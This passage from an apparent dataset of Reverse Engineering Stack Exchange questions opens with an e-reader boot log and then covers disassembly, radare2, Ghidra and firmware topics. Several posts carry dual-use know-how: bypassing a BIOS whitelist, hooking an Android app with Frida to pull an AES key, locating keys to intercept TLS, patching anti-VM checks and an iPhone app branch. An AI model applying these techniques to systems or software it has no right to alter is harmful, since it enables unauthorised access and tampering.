+[SCAN_DBG]    MultiPlaneStatusCmd:    0x0x00000070
+
+[SCAN_DBG]    InterBnk0StatusCmd:     0x0x00000078
+
+[SCAN_DBG]    InterBnk1StatusCmd:     0x0x00000078
+
+[SCAN_DBG]    BadBlockFlagPosition:   0x0x00000001
+
+[SCAN_DBG]    MultiPlaneBlockOffset:  0x0x00000001
+
+[SCAN_DBG] =======================================================
+
+NB1 : nand phy init ok
+
+src\format\nand_format.c 2623[FORMAT_ERR] format nand flash*********!
+
+PHY_PageReadSpare : too much ecc err,bank 0x00000000 block 0x00000000,page 0x00000001 
+
+PHY_PageReadSpare : too much ecc err,bank 0x00000000 block 0x00000000,page 0x00000000 
+
+NB1 : init ok
+
+mount successfully.
+0
+Source clock is HOSC, preScale=64, interval=375
+
+ Mount Parts Thread runniMInit : enter init nand flash driver
+ nand driver version: 0x2 0x11
+ nand_drv.c 166 ---------------
+ ------
+  nand_drv.c 192 --nand disk size: 0x780000
+
+ partition [D] plug in..
+
+ partition [Z] plug in..
+ Mount Parts Thread work now.....
+
+ partition [E] plug in..
+ Mount Parts Thread work end....
+ $$$$ eink clock is 8 $$$$$
+ eink_GetFileCntFromDir path = v:\
+ eLIBs_opendir failed!
+ AWF fp=0
+ -------------open awf file failed, try to open backup awf-----------
+ AWF file length=545 K
+ LCD TCON OPEN
+ MSG:L3723(Drv_eink.c): set vcom mode as IO contrl, not pwm
+ .....................................................................................................................
+ .Please press enter key(keypad or irkey) to continue!
+..............................................................
+ .....................................................................................................................
+ Esh_StartUp 
+ ===================yyparse start====================
+ yynerrs.1 =  0 
+ yynerrs.2 =  0 
+ outtree->op_type =  1 
+ yynerrs.3 =  0 
+ &&&&&&&&&&&&&&&&&&&yyparse end&&&&&&&&&&&&&&&&&&&&&&&&&&&
+ Execute startup script begin..............
+ ===================yyparse start====================
+ yynerrs.1 =  0 
+ yynerrs.2 =  0 
+ outtree->op_type =  -382909968 
+ yynerrs.3 =  0 
+ &&&&&&&&&&&&&&&&&&&yyparse end&&&&&&&&&&&&&&&&&&&&&&&&&&&
+ ===================yyparse start====================
+ yynerrs.1 =  0 
+ yynerrs.2 =  0 
+ outtree->op_type =  1 
+ yynerrs.3 =  0 
+ &&&&&&&&&&&&&&&&&&&yyparse end&&&&&&&&&&&&&&&&&&&&&&&&&&&
+ Esh Error:  OpenConfigFile y:\config\config.bin failed.
+ ===================yyparse start====================
+ yynerrs.1 =  0 
+ yynerrs.2 =  0 
+ outtree->op_type =  -382909968 
+ yynerrs.3 =  0 
+ &&&&&&&&&&&&&&&&&&&yyparse end&&&&&&&&&&&&&&&&&&&&&&&&&&&
+ ===================yyparse start====================
+ yynerrs.1 =  0 
+ yynerrs.2 =  0 
+ outtree->op_type =  1 
+ yynerrs.3 =  0 
+ &&&&&&&&&&&&&&&&&&&yyparse end&&&&&&&&&&&&&&&&&&&&&&&&&&&
+ ===================yyparse start====================
+ yynerrs.1 =  0 
+ yynerrs.2 =  0 
+ outtree->op_t41 set tmpNewCpu = 37yynerrs.3 =  0 
+ &&&&&&&&&&&&&&&&&&&yyparse end&&&&&&&&&&&&&&&&&&&&&&&&&&&
+ ===================yyparse start====================
+ yynerrs.1 =  0 
+ yynerrs.2 =  0 
+ outtree->op_type =  1 
+ yynerrs.3 =  0 
+ &&&&&&&&&&&&&&&&&&&yyparse end&&&&&&&&&&&&&&&&&&&&&&&&&&&
+ ===================yyparse start====================
+ yynerrs.1 =  0 
+ yynerrs.2 =  0 
+ outtree->op_type =  -382909968 
+ yynerrs.3 =  0 
+ &&&&&&&&&&&&&&&&&&&yyparse end&&&&&&&&&&&&&&&&&&&&&&&&&&&
+ ===================yyparse start====================
+ yynerrs.1 =  0 
+ yynerrs.2 =  0 
+ outtree->op_type =  1 
+ yynerrs.3 =  0 
+ &&&&&&&&&&&&&&&&&&&yyparse end&&&&&&&&&&&&&&&&&&&&&&&&&&&
+ ...............Execute startup script end
+ Esh_StartUp finish
+ Esh msg:  shell maidesktop_server_init plug tp start
+ desktop_server_init plug tp over
+ dsk_orchid_createDisk over
+ d_createDisk over
+  dsk_orchid_check over
+ dsk_voice_set_volume over
+ dsk_display_set_lcd_bright over
+ dsk_keytone_init over
+ dsk_keytone_set_state over
+ dsk_app_reg_init over
+ dsk_langres_set_type over
+ 214 Date parameter is invalid!(Y2020, M5, D28)
+ 214 Date parameter is invalid!(Y2020, M5, D28)
+ 214 Date parameter is invalid!(Y2020, M5, D28)
+
+ eink_GetFileCntFromDir path = v:\
+ eLIBs_opendir failed!
+ AWF fp=0
+ -------------open awf file failed, try to open backup awf-----------
+ AWF file length=545 K
+ LCD TCON OPEN
+ MSG:L3723(Drv_eink.c): set vcom mode as IO contrl, not pwm
+ LCD TCON close
+ B þ           `     €ÿ
+
+ +EDIT: Sorry I forgot to say that this ereader indeed runs on an allwinner E200 chip. So most likely it's the allwinner os (probably 2.0, but that's not sure). +" +"['ida', 'disassembly', 'c++']"," Title: Variable var_4 filled with value -1Body: Who can explain to me, why this line code there is before each jmp or end of some part of code where there is label. What this line of code is to do? + +
mov     [ebp+var_4], 0FFFFFFFFh
+
+ +This is WinMain used C++. I used try/catch. + +
.text:00411260                 push    ebp
+.text:00411261                 mov     ebp, esp
+.text:00411263                 push    0FFFFFFFFh
+.text:00411265                 push    offset unk_414FC8
+.text:0041126A                 push    offset loc_411050
+.text:0041126F                 mov     eax, large fs:0
+.text:00411275                 push    eax
+.text:00411276                 mov     large fs:0, esp
+.text:0041127D                 add     esp, 0FFFFFFA0h
+.text:00411280                 push    ebx
+.text:00411281                 push    esi             ; uType
+.text:00411282                 push    edi             ; uType
+.text:00411283                 mov     [ebp+var_18], esp
+.text:00411286                 mov     [ebp+var_1C], 64h
+.text:0041128D                 mov     [ebp+var_20], 96h
+.text:00411294                 mov     [ebp+var_4], 0
+.text:0041129B                 mov     eax, [ebp+var_1C]
+.text:0041129E                 add     eax, [ebp+var_20]
+.text:004112A1                 mov     [ebp+var_24], eax
+.text:004112A4                 int     3               ; Trap to Debugger
+.text:004112A5                 mov     [ebp+var_4], 0FFFFFFFFh
+.text:004112AC                 jmp     short loc_4112D2
+.text:004112AE ; ---------------------------------------------------------------------------
+.text:004112AE                 mov     eax, 1
+.text:004112B3                 retn
+.text:004112B4 ; ---------------------------------------------------------------------------
+.text:004112B4                 mov     esp, [ebp-18h]
+.text:004112B7                 push    0
+.text:004112B9                 push    offset Caption  ; ""Error1""
+.text:004112BE                 push    offset Caption  ; ""Error1""
+.text:004112C3                 push    0               ; hWnd
+.text:004112C5                 call    ds:__imp__MessageBoxA@16 ; MessageBoxA(x,x,x,x)
+.text:004112CB                 mov     [ebp+var_4], 0FFFFFFFFh
+.text:004112D2
+.text:004112D2 loc_4112D2:                             ; CODE XREF: WinMain+4Cj
+.text:004112D2                 mov     [ebp+var_28], 64h
+.text:004112D9                 mov     [ebp+var_2C], 96h
+.text:004112E0                 mov     [ebp+var_4], 1
+.text:004112E7                 mov     eax, [ebp+var_28]
+.text:004112EA                 add     eax, [ebp+var_2C]
+.text:004112ED                 mov     [ebp+var_30], eax
+.text:004112F0                 mov     eax, [ebp+var_30]
+.text:004112F3                 cdq
+.text:004112F4                 xor     ecx, ecx
+.text:004112F6                 idiv    ecx
+.text:004112F8                 mov     [ebp+var_30], eax
+.text:004112FB                 mov     [ebp+var_4], 0FFFFFFFFh
+.text:00411302                 jmp     short loc_411328
+.text:00411304 ; ---------------------------------------------------------------------------
+.text:00411304                 mov     eax, 1
+.text:00411309                 retn
+.text:0041130A ; ---------------------------------------------------------------------------
+.text:0041130A                 mov     esp, [ebp-18h]
+.text:0041130D                 push    0
+.text:0041130F                 push    offset Text     ; ""Error2""
+.text:00411314                 push    offset Text     ; ""Error2""
+.text:00411319                 push    0               ; hWnd
+.text:0041131B                 call    ds:__imp__MessageBoxA@16 ; MessageBoxA(x,x,x,x)
+.text:00411321                 mov     [ebp+var_4], 0FFFFFFFFh
+.text:00411328
+.text:00411328 loc_411328:                             ; CODE XREF: WinMain+A2j
+.text:00411328                 xor     eax, eax
+.text:0041132A                 mov     ecx, [ebp+var_10]
+.text:0041132D                 mov     large fs:0, ecx
+.text:00411334                 pop     edi
+.text:00411335                 pop     esi
+.text:00411336                 pop     ebx
+.text:00411337                 mov     esp, ebp
+.text:00411339                 pop     ebp
+.text:0041133A                 retn    10h
+.text:0041133A WinMain         endp
+
+" +"['disassembly', 'assembly']"," Title: dereferencing structure membersBody: I am reading a book on reversing and I am curious about one of the assembly snippet i have read in it. + +There is a simple disassembly of the function RtlNumberGenericTableElements and it looks like this: + +
push ebp
+mov ebp, esp
+mov eax, dword ptr [ebp+8]
+mov eax, dword ptr [eax+14]
+pop ebp
+ret 4
+
+ +And it occured to me, say there is a member of a structure that is a pointer to some other structure. How would I go about dereferencing that member? + +
struct example {
+  int member1;
+  *object member2;
+};
+
+ +Would I be dereferencing member 2 like so (pointer to struct comes as first param): + +
mov eax, [ebp+8]
+mov eax, dword ptr [eax]
+mov eax, [eax+8] ; this would get me the pointer to member2???
+
+ +any input appreciated + +EDIT: + +I see, your explanation was understandable, thank you, I appreciate it. + +I have one more question that popped up from my mind. Say in your example, member 2 is a pointer to an int, then + +
mov eax, [ebp + 8] ; eax contains pointer to struct and its first member
+mov eax, [eax + 4] ; eax contains a pointer to member2 (this is a pointer to an int)
+
+ +Say i would like to get the value of member to into ecx i would carry on like this: + +
mov eax, [eax]
+mov ecx, [eax]
+
+ +So the whole thing would read like so: + +
mov eax, [ebp + 8] ; eax contains pointer to struct and its first member
+mov eax, [eax + 4] ; eax contains a pointer to member2 (this is a pointer to an int)
+mov eax, [eax]     ; dereferenfce the pointer that is pointing to member2
+mov ecx, [eax]     ; dereference member2 itself that is a pointer to an int
+
+ +Is this correct? +" +['radare2']," Title: How can I change the default input radix to hexadecimal in Radare2?Body: Frequently when I use Radare2 I work mostly in hexadecimal. This means I'm constantly having to remember to type 0x in front of addresses, which is different from the machine-language monitors I'm used to using. (I'm generally working with binaries for 8-bit systems, where decimal is rarely used when working in machine language.) + +Is there any way to set the default input radix to hexadecimal? I'd like to be able to type s ff00 instead of s 0xff00 at the command line, and gff00 instead of g0xff00 in visual mode. + +And if I can do this, how does one enter decimal numbers, should that be necessary, in this mode? + +Links to documentation are appreciated. +" +"['decompilation', 'static-analysis', 'ghidra', 'functions', 'bios']"," Title: Removing/bypassing a BIOS whitelistBody: I am trying to bypass or erase the BIOS whitelist on my Thinkpad T440p. So far I've + + + +Below, I'll post the function containing the string first, and then the entry function. Also, I'll put a link there to the extracted body. + +
void FUN_00010ec4(undefined8 param_1,undefined *param_2,undefined8 param_3,undefined8 param_4)
+
+{
+   if (param_2 == (undefined *)0x0) {
+     param_2 = &DAT_00010ec0;
+  }
+  (**(code **)(DAT_00011040 + 0x170))(0x200,param_1,param_2,param_3,&DAT_000104d0,param_4);
+  return;
+}
+
+ +The above function gets called from here: + +
longlong entry(undefined8 param_1,longlong param_2)
+
+{
+  longlong lVar1;
+  undefined8 local_res18;
+  undefined8 *local_res20;
+  undefined local_18 [24];
+
+  FUN_00010f08(param_1,param_2);
+  lVar1 = (**(code **)(DAT_00011040 + 0x140))(&LAB_00010480,0,&DAT_00011058);
+  if (-1 < lVar1) {
+    lVar1 = (**(code **)(DAT_00011040 + 0x140))(&LAB_00010410,0,&DAT_00011070);
+    if (-1 < lVar1) {
+      lVar1 = (**(code **)(DAT_00011040 + 0x140))(&DAT_000103f0,0,&DAT_00011078);
+      if (-1 < lVar1) {
+        lVar1 = (**(code **)(DAT_00011040 + 0x140))(&LAB_00010460,0);
+        if (-1 < lVar1) {
+          DAT_00011060 = *local_res20;
+          local_res18 = 0;
+          _DAT_00011068 = &LAB_00010b54;
+          (**(code **)(DAT_00011040 + 0x80))(&local_res18,&DAT_000103d0,0,&DAT_00011068);
+          DAT_00011028 = local_res18;
+          FUN_00010ec4(0x10,FUN_00010cf8,0,local_18);
+          lVar1 = 0;
+        }
+      }
+    }
+  }
+  return lVar1;
+}
+
+ +The body, as well as the dumped .img can be found here. + +Now I don't know what to do with this. Could I just remove the line FUN_00010ec4(0x10,FUN_00010cf8,0,local_18); and the function would never get called, thus freeing me from the whitelist? What other possibilities do you see to get around it? + +This is the first time I deal with BIOS-modding, and I really don't want to brick my laptop. Also I'm sorry, if I use the wrong tags. I'm open for suggestions for better fitting ones. +" +"['javascript', 'usb', 'sniffing']"," Title: Intercepting packets from Electron App to keyboard in LinuxBody: I have a USB keyboard which has an Electron app to set the macros on the keyboard. I unpacked the app.asar file, and the JS files seem to indicate that it is a ReactJS app, and is a minified production build, and obfuscated too much to reverse engineer. + +Another way to approach the problem seemed to be to use USB sniffer. I chose WireShark for the job. I wanted to capture all the data packets sent from the app to the keyboard, and hoped to reverse engineer that. The problem is, I can't find a way to capture the raw USB stream. I tried using WireShark to monitor usbmon0, but there is too much metadata, and separating the raw data from the protocol metadata seems to be a daunting task. + +I do not have a hardware USB sniffer or a JTAG debugger. Is there a simple way to capture all the raw data going from the app to the keyboard? +" +['ida']," Title: IDA No Search Results in Subview For Viable AddressBody: I found an address of a function from the game AssaultCube, and the address is 0045BCA0. In IDA, I disassembled ac_client.exe as a portable executable and tried to search for that address in the subview window with no results. This address is definitely in the actual game. How would I make IDA include more subview addresses so I can find that function address? + +Can't Find Address + + +" +"['debugging', 'hardware', 'patching', 'embedded', 'math']"," Title: Construct a number from 0-999.9 using 5 data bytes of a MIDI SysEx messageBody: I'm sending MIDI messages to a proprietary turntable that has an LCD screen on it. The normal software sends out updates via MIDI SysEx to display the current tempo on the LCD. The MIDI is being received on a MKL25Z128VLK4, Cortex-M0+/ARMv6-M device. (I did disassemble the firmware .bin after digging in its guts for the type of chip it's using, but the result of that was ~30k lines of assembly) The LCD model number is inaccessible without desoldering +At this point, I can successfully update the screen but I'm having trouble figuring out the pattern from a given number and I'm hoping someone else has experience with this. +Here's what I have found so far: +Setting a single byte to anything from 9-126 results in 00.0 +
  BPM   B1    B2    B3    B4
+ 00.0   0     0     0     0
+ 00.0   0     0     0     1
+ 00.0   0     0     0     2
+ 00.0   0     0     0     3
+ 00.0   0     0     0     4
+ 00.0   0     0     0     5
+ 00.0   0     0     0     6
+ 00.0   0     0     0     7
+ 00.0   0     0     0     8
+ 00.0   0     0     0    16
+ 00.0   0     0     0    32
+ 00.0   0     0     0    64
+ 00.1   0     0     0   127
+ 00.1   0     0     1     0
+ 00.3   0     0     2     0
+ 00.4   0     0     3     0
+ 00.6   0     0     4     0
+ 00.8   0     0     5     0
+ 00.9   0     0     6     0
+ 01.1   0     0     7     0
+ 01.2   0     0     8     0
+ 00.0   0     0    16     0
+ 00.0   0     0    32     0
+ 00.0   0     0    64     0
+ 02.4   0     0   127     0
+ 02.5   0     1     0     0
+ 05.1   0     2     0     0
+ 07.6   0     3     0     0
+ 10.2   0     4     0     0
+ 12.8   0     5     0     0
+ 16.3   0     6     0     0
+ 17.9   0     7     0     0
+ 20.4   0     8     0     0
+ 00.0   0    16     0     0
+ 00.0   0    32     0     0
+ 00.0   0    64     0     0
+ 38.4   0   127     0     0
+ 40.9   1     0     0     0
+ 81.9   2     0     0     0
+122.8   3     0     0     0
+163.8   4     0     0     0
+204.8   5     0     0     0
+245.7   6     0     0     0
+286.7   7     0     0     0
+327.6   8     0     0     0
+ 00.0  16     0     0     0
+ 00.0  32     0     0     0
+ 00.0  64     0     0     0
+614.4 127     0     0     0
+
+Turning on multiple bytes adds them together with sometimes strange results +
 40.9   1     0     0     0
+ 00.1   0     0     1     0
+ 41.1   1     0     1     0
+
+ 81.9   2     0     0     0
+ 00.1   0     0     1     0
+ 82.0   2     0     1     0
+
+
+I'm wondering if there's some floating point or bitwise maths going on that I'm just not well versed in, and if so what are the real numbers and data types used for the calculations? I feel understanding this is crucial to solving this problem without a massive lookup table or gutting it and writing my own controller +" +['assembly']," Title: Disassembly to reassembly - 80960: Invalid Scale FactorBody: I'm disassembling a game which runs on an Intel i960 processor. My disassembly is at a point I would like to try to reassemble it from an IDA Pro generated ASM file. The ASM file needs slight manipulation for the binutils 2.16.1a i960-coff targeted assembler to work, however there seems to be an instruction, with similar instructions to follow but the assembler segfaults after this instruction, which cannot be reassembled. + +The instruction is as follows: ""stt r12, (g11)[g12]"" + +A git which shows the switch statement which defaults to the error can be found here. +A colleague of mine explains that the error around the scale field is because the scale factor isn't 1, 2, 4, 8,or 16. The scale factor is only three bits, and he hypothesizes that this most likely is Register Indirect with Index form. + +From a programming manual: + +
+ The st, stl, stt, and stq instructions copy 4, 8, 12, and 16 bytes + from successive registers into memory. ... Floating-point values are + loaded from memory into global or local registers using the load (ld), + load long (ldl), and load triple (ldt) instructions. Likewise, + floating-point values in global or local registers are stored in + memory using the store (st), store long (stl), and store triple (stt) + instructions. ... The st, stl, stt, and stq instructions copy 4, 8, + 12, and 16 bytes, respectively, from successive registers to memory. + For the stt instruction, src must specify an even numbered register + (e.g., gO, g2, ... , gI2). For the stt and stq instructions, src must + specify a register number that is a multiple of four (e.g., gO, g4, + g8). +
+ +I, however, have a feeling that it might be a Register Indirect with index and displacement. The reason being is that the instruction can also be disassembled as """"stt r12, (g11)[g12*1]"" and a manual lists a Register Indirect with index and displacement example in assembler syntax as: + +
+ exp (reg) [reg*scale] +
+ +But if that were the case, the scale would be 1. I am at somewhat of a loss and wish to pick the minds of the reverse engineering stack exchange to see what information may arise. It may be just that the game company had their own assembler and special knowledge on the processor that was not public or published. +" +['radare2']," Title: How do I use vi keybindings at the command line in Radare2?Body: The Radare2 command line (I believe it's called ""interactive mode""?) allows bringing back history and editing it with the arrow keys. However, I prefer to use vi/vim keybindings for this. How do I configure this? + +I do have a $HOME/.inputrc file which contains set editing-mode vi, and this works for many programs (presumably all that use GNU Readline or a compatible library). + +Alternatively, is there an option available to build Radare2 with Readline? +" +['arm']," Title: ARMv7 Word Patch (CBZ)Body: I'm disassembling an iPhone app + +I'm trying to batch the instruction CBZ -> CBNZ + +Instruction Code: D9 09 00 34 + +As per my understanding, CBZ will jump to the address if value of register is 0 + +I have tried to convert it to CBNZ D9 09 00 35 but that didn't help + +
+ +D9 09 00 34 + +00000000: 01000100 00111001 00100000 00110000 00111001 00100000 D9 09 00000006: 00110000 00110000 00100000 00110011 00110100 00001010 00 34. + +D9 09 00 35 + +00000000: 01000100 00111001 00100000 00110000 00111001 00100000 D9 09 00000006: 00110000 00110000 00100000 00110011 00110101 00001010 00 35 + +I appreciate your support +" +"['gdb', 'elf', 'libc']"," Title: GDB exited when running libraryBody: I'm new with gdb and I have spent hours looking for direction but I can't find any. +I need to analyze an executable to find how this program process the arguments and where the output came from. I have it running on my system, got it working correctly to print some encoded string. +After some days trying gdb, I figure that I need to trace the data inside every function, but I can't pass this function __libc_init where the program alwas exited with code 0235. The last process says __libc_init () from /system/lib/libc.so +so i think it's doing something with this external library libc.so. How could I continue the debug process when I hit this type of process? I can't find any reference to understand this. +" +"['decryption', 'networking']"," Title: Where are private keys for Google Play stored on an android device?Body: I am running an application in BlueStacks that was installed with Google Play and am trying to look at network packets which are encrypted using RSA over TLS. I can see the client key exchange packet in the TLS handshake but do not know where to find my private key within the BlueStacks emulator to decrypt the messages after the handshake (I am trying to man-in-the-middle myself). Where is this located? +" +"['ida', 'disassembly', 'c++']"," Title: Register edx and CreateDevice function DXBody: I disassemble CreateDevice function from my DirectX code and commented each paratemer: + +
.text:0043F485                 mov     eax, [ebp+lpParam]
+.text:0043F488                 add     eax, 730h
+.text:0043F48D                 push    eax  ;LPDIRECT3DDEVICE9
+.text:0043F48E                 mov     ecx, [ebp+lpParam]
+.text:0043F491                 add     ecx, 0B88h
+.text:0043F497                 push    ecx  ;D3DPRESENT_PARAMETERS
+.text:0043F498                 mov     edx, [ebp+var_170]
+.text:0043F49E                 push    edx  ;vertex processing type
+.text:0043F49F                 mov     eax, [ebp+lpParam]
+.text:0043F4A2                 mov     ecx, [eax+728h]
+.text:0043F4A8                 push    ecx  ;hWnd
+.text:0043F4A9                 push    1    ;D3DDEVTYPE_HAL
+.text:0043F4AB                 push    0    ;D3DADAPTER_DEFAULT
+.text:0043F4AD                 mov     edx, [ebp+lpParam]
+.text:0043F4B0                 mov     eax, [edx+734h]
+.text:0043F4B6                 mov     ecx, [ebp+lpParam]
+.text:0043F4B9                 mov     edx, [ecx+734h]
+.text:0043F4BF                 mov     eax, [eax]
+.text:0043F4C1                 push    edx  ;??????????????
+.text:0043F4C2                 mov     ecx, [eax+40h]   ;this pointer
+.text:0043F4C5                 call    ecx  ;call CreateDevice
+.text:0043F4C7                 mov     eax, [ebp+lpParam]
+.text:0043F4CA                 mov     ecx, [eax+730h];LPDIRECT3DDEVICE9 in return
+
+
+ +Using experimental way I figured out LPDIRECT3DDEVICE9 variable presents in: + +
.text:0043F48D                 push    eax  ;LPDIRECT3DDEVICE9
+
+ +Also, using debugger I figured out edx register: + +
.text:0043F4C1                 push    edx  ;??????????????
+
+ +has value d3d9.dll:6521F191 db 0B8h what in expand view is: + +
d3d9.dll:6521F191 db 0B8h ; ¬
+d3d9.dll:6521F192 db  48h ; H
+d3d9.dll:6521F193 db  77h ; w
+d3d9.dll:6521F194 db  23h ; #
+
+ +My question, why before CreateDevice function calling is there ""push edx"" line of code? In my example I used OOP and ecx is this pointer: + +
.text:0043F4C2                 mov     ecx, [eax+40h]   ;this pointer
+
+ +But what purpose is this line of code: + +
.text:0043F4C1                 push    edx  ;d3d9.dll:6521F191 db 0B8h ; ¬
+
+ +Is it like this pointer for DirectX COM interface or what? + +Thanks in advance! +" +"['android', 'java', 'frida']"," Title: Calling a method of a Java object passed as argument to hooked function in FridaBody: I am trying to obtain the SecretKey passed to the decryptAesCipherText function. I hooked the function in Frida to try to print out the arguments when the method is called but since SecretKey is an object, all attempts to print it out give output as [object Object]. However the SecretKey object has a method getEncoded() which will return a byte array which can be printed out in hex format. How can I call this method from Frida and get the result? + +The java function, I am hooking to is given below + + + +
import javax.crypto.Cipher;
+import javax.crypto.SecretKey;
+
+private byte[] decryptAesCipherText(SecretKey secretKey, byte[] bArr) {
+        Cipher instance = Cipher.getInstance(""AES/ECB/PKCS5Padding"");
+        instance.init(2, secretKey);
+        return decryptCipherText(instance, bArr);
+}
+
+ +

+The javascript snippet (incomplete) to hook the function + + + +
var target_class = Java.use('com.reactlibrary.securekeystore.RNSecureKeyStoreModule');
+
+target_class.decryptAesCipherText.overload('javax.crypto.SecretKey','[B').implementation = function(key, array){
+        console.log(""Inside decrypt aes"");
+
+        //Call getEncoded method on key to get byte array
+
+        var ret = my_class.decryptAesCipherText.overload('javax.crypto.SecretKey','[B').call(this, key, array);
+        return ret;
+}
+
+" +"['malware', 'unpacking', 'anti-debugging', 'patch-reversing', 'processhacker']"," Title: Force debug Administrator MalwareBody: I want to analyse a malware that do not run without administrative previliges. + +I know it is risky but still. + +How can I debug it with debugger as from entry point? + +Because debugger could not start it as administrator. And I Got error + +Error Starting Process (create Process, 00000740, uiAccess=""true"") +" +"['assembly', 'x64dbg', 'deobfuscation']"," Title: Dealing with obfuscated PUSH PUSH RET instructionsBody: I wanted to run an app on a VM but there are PUSH PUSH RETs stopping me from looking at their anti VM code. There is a messagebox when I run it on a VM. I set a breakpoint at MessageBoxA and it gets triggered as well as EAX is showing the message for the VM. It's all good until now. + + + +I'm using x64dbg and I opened Call Stack tab and double-clicked on the address after user32.MessageBoxA (basically 2nd record), so I could trace back the calls before the actual MessageBoxA. It landed me here: + + + +I heard that PUSH RET is like a jmp, PUSH PUSH RET is like a call. How do they work? Can they be deobfuscated with a tool/plugin or something? + +PUSH 0xC9DFBF leads me here: + + + +PUSH 0xA4DB49 leads me here: + + + +When I follow that jmp, it leads to similar code to PUSH 0xC9DFBF's image which ends with a jmp to MessageBoxA. + +What could you recommend me to step into the code before the actual MessageBoxA call, so I can find their anti VM code and patch it? Do I need to step the instructions from the beginning one by one? + +Dumps: http://ufile.io/56c5b2z6. Rebase to 0x1270000 and find 0181E65C address. This address is in the executable file. I attached two dumped DLLs as well, because they were referenced. +" +"['javascript', 'shared-object', 'frida']"," Title: Load a *.dylib or *.so object into the Javascript V8 runtime?Body: I was reading this Frida release page and noticed it made the following reference: + +
+ Short of writing the whole agent in C, one could go ahead and build a + native library, and load it using Module.load(). This works but means + it has to be compiled for every single architecture, deployed to the + target, etc. +
+ +The CModule feature is fantastic for Frida-centric actions, but it would be nice to load generic shared-objects into the target process. CModule appears to be written for performance optimization within Stalker and related code. Any attempt to do something ""extra"" results in something like this will result in compile-time (at runtime, by the embedded TinyCC) errors such as: + +
Compilation failed: In file included from module.c:3:\nmodule.c:3: error: include file 'dlfcn.h' not found""
+
+ +^ Attempt at writing a CModule stub that dlopen'd a shared object from disk. + +But the comment by Ole in the link above alludes to this being possible, though I can't find any references other than the NodeJS C++ Addons features that are, of course, specific to NodeJS. + +
+ +tl;dr +How does one load a generic object such that all of its exported functions are callable from Javascript? Is this possible? +" +"['ida', 'disassemblers']"," Title: Two copies to store valuesBody: I have this a piece of code, disassembled DX: + +
.text:004386D3                 push    ecx
+.text:004386D4                 fld1
+.text:004386D6                 fstp    [esp+26Ch+var_26C] ;load 1.0 value texture coords
+.text:004386D9                 push    ecx
+.text:004386DA                 fld1
+.text:004386DC                 fstp    [esp+270h+var_270] ;load 1.0 value texture coords
+.text:004386DF                 push    ecx
+.text:004386E0                 fld     ds:__real@c1700000
+.text:004386E6                 fstp    [esp+274h+var_274] ;load -15.0 value x vertex
+.text:004386E9                 push    ecx
+.text:004386EA                 fld     ds:__real@c1700000
+.text:004386F0                 fstp    [esp+278h+var_278] ;load -15.0 value y vertex
+.text:004386F3                 push    ecx
+.text:004386F4                 fld     ds:__real@c1700000
+.text:004386FA                 fstp    [esp+27Ch+var_27C] ;load -15.0 value z vertex
+.text:004386FD                 lea     ecx, [ebp+var_22C] ;this pointer
+.text:00438703                 call    j_D3DVERTEX__D3DVERTEX ;fills structure with values
+.text:00438708                 mov     ecx, [ebp+var_8] ;var_8 pointer returned by Lock() buffer func
+.text:0043870B                 mov     edx, [eax]
+.text:0043870D                 mov     [ecx], edx
+.text:0043870F                 mov     edx, [eax+4]
+.text:00438712                 mov     [ecx+4], edx
+.text:00438715                 mov     edx, [eax+8]
+.text:00438718                 mov     [ecx+8], edx
+.text:0043871B                 mov     edx, [eax+0Ch]
+.text:0043871E                 mov     [ecx+0Ch], edx
+.text:00438721                 mov     eax, [eax+10h]
+.text:00438724                 mov     [ecx+10h], eax
+
+ +This code fills one vertex structure with values: + +
-15.000000,-15.000000,-15.000000, 1.0,1.0
+
+ +It seems values is stored into two copies. First copy of this values stored relatively ebp+var_22C and into ecx passed this pointer: + +
.text:004386FD                 lea     ecx, [ebp+var_22C] ; ecx has pointer this to store values
+.text:00438703                 call    j_D3DVERTEX__D3DVERTEX ;fills structure with values
+
+ +And second copy this values stored relatively ebp+var_8 after calling j_D3DVERTEX__D3DVERTEX: + +
.text:00438708                 mov     ecx, [ebp+var_8] ;var_8 pointer returned by Lock() buffer func
+
+ +I.e. completely it's looks like: + +
.text:004386FD                 lea     ecx, [ebp+var_22C] ; ecx has pointer this to store values
+.text:00438703                 call    j_D3DVERTEX__D3DVERTEX ;store values into structure
+.text:00438708                 mov     ecx, [ebp+var_8] ;var_8 pointer returned by Lock() buffer func
+
+ +If I right understood- why need two copy of this vertex values? Maybe it is important the vertex buffer created with D3DPOOL_MANAGED and D3DUSAGE_WRITEONLY parameters. +" +['ghidra']," Title: How do I implement register pages in Sleigh?Body: I'm working on creating a processor definition for the Motorola / NXP HC11 using the Sleigh language for Ghidra. A definition for the HC12 already exists, so I'm working off of that. + +The HC12 organizes its instructions into two pages: Page 1 with no prefix, and Page 2 with a prefix of 0x18: + + + +The HC11, on the other hand, has two more pages of registers: + + + +The HC12 processor definition uses a context variable and a recursive constructor to determine if an instruction resides on page 2: + +
define context contextreg
+    Prefix18       = (0,0)    # 1 if 0x18 is the first byte
+    PrefixHCS12X   = (0,0)    # 1 if first byte is 0x18 so that HCS12X to use GPAGE for memory access
+    UseGPAGE       = (1,1)    # 1 if should use GPAGE concatenated to lower 16-bit EA
+    XGATE          = (2,2)    # 1 if in xgate instruction decode mode
+;
+
+ +- + +
:^instruction  is XGATE=0 & op8=0x18; instruction  [ Prefix18=1; ] {}
+
+ +- + +
:ABA                     is XGATE=0 & (Prefix18=1 & op8=0x06)
+{
+    result:1 = A + B;
+    addition_flags1(A, B, result);
+    A = result;
+}
+
+ +Another user, also defining an HC11 processor, just used 16-bit instructions instead: + +
define token withprebyte(16)
+  pre   = (0,16);
+define token byte(8)
+  op8   = (0,7);
+
+OFF: op8    is op8 { export *[const]:2 op8; }
+IMM8: op8 is op8 { export *[const]:1 op8; }
+
+:bsetY OFF,IMM8 is pre=0x181C; OFF; IMM8
+{
+  local temp = *:1 (Y+OFF);
+  temp = temp | (IMM8);
+  *:1 (Y+OFF) = temp;
+}
+:bclrY OFF,IMM8 is pre=0x181D; OFF; IMM8
+{
+  local temp = *:1 (Y+OFF);
+  temp = temp & (~IMM8);
+  *:1 (Y+OFF) = temp;
+}
+
+ +The approach used on the HC12 seems bizarre and complicated to me. I also don't see how it will work for more than one page. Is there a reason I shouldn't just use 16-bit tokens for those instructions which reside on other pages? Is using the context variable, as the HC12 implementation does, more elegant in some way that I'm not seeing? +" +"['assembly', 'binary-analysis', 'x86']"," Title: What does 'test al, al' mean?Body: I'm trying to reverse engineer a program and i found the following instruction: + +
test al, al
+je label 
+
